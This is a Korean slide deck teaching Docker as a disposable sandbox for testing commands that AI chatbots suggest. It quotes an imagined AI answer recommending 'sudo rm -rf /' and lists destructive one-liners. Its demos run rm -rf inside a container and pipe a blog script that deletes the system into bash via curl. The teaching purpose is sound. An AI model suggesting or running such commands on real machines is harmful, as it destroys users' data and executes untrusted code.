AI 코드,
컨테이너에서 돌려라

Why You Should Learn Docker — in 10 minutes

Docker AI Safety Intro

2026.04.20

지난 이야기

# 사용자 질문
You: 디스크 정리 어떻게 해?

# AI 응답
AI: 이 명령어로 정리하세요:

sudo rm -rf /

⚠ 시스템 전체 삭제
AI는 동작하는 답을 준다.
하지만 안전한 답은 아닐 수 있다.
  • rm -rf /, chmod 777, curl | sudo bash
  • 한 줄이 노트북을 날릴 수 있다
  • 그럼 어떻게 실험해 봐야 할까?
AI가 준 명령어,
어디서 돌려야 안전해?
Docker

일회용 리눅스를 한 줄로 띄운다

라이브 데모

# 일회용 Ubuntu 한 대 띄우기
$ docker run -it --rm ubuntu bash

# 컨테이너 안
root@abc:/# rm -rf /*
root@abc:/# ls
(박살남)
root@abc:/# exit

# 호스트로 돌아옴
$ ls ~   # 멀쩡 ✓

무슨 일이 일어났나

  • 컨테이너 = 격리된 일회용 방
  • --rm : 종료 즉시 폐기
  • 호스트 파일은 하나도 안 다침
"위험한 건 컨테이너에서 실험하고,
결과만 본다"

실습: AI가 추천한 블로그 스크립트

"리눅스 디스크 정리? 이 블로그에 한 줄짜리 스크립트 있어요:
curl ... | sudo bash" — AI 챗봇 (가정)

겉보기: 친절한 echo 메시지로 "정리 중..."

실제: rm -rf / 가 숨어있음

# 컨테이너 띄우기
$ docker run -it --rm ubuntu bash

# 블로그가 추천한 대로
root@abc:/# apt update && apt install -y curl
root@abc:/# curl -fsSL xmin.blog/scripts/clean.sh \
  | bash


[+] 임시 파일 정리 중...
[+] 캐시 비우기...
(시스템 박살)

root@abc:/# exit
$ ls ~   # 호스트 멀쩡 ✓

도커가 필요한 순간들

1

AI가 준 수상한 스크립트

블로그에서 긁어온 install.sh, AI가 뱉은 한 줄 — 일단 컨테이너에서 돌려보고 결과만 가져온다

2

AI 에이전트 격리

Cursor, Claude Code가 당신 호스트 쉘을 직접 만지면 위험 — 컨테이너 안에 가둬야 안전

3

"내 컴에선 되는데요"

파이썬 버전, 라이브러리 충돌 — 실행 환경을 파일 하나로 팀원과 공유

정리

AI는 도구, 판단은 내가,
실행은 컨테이너에서.
Q & A

감사합니다

1 / 9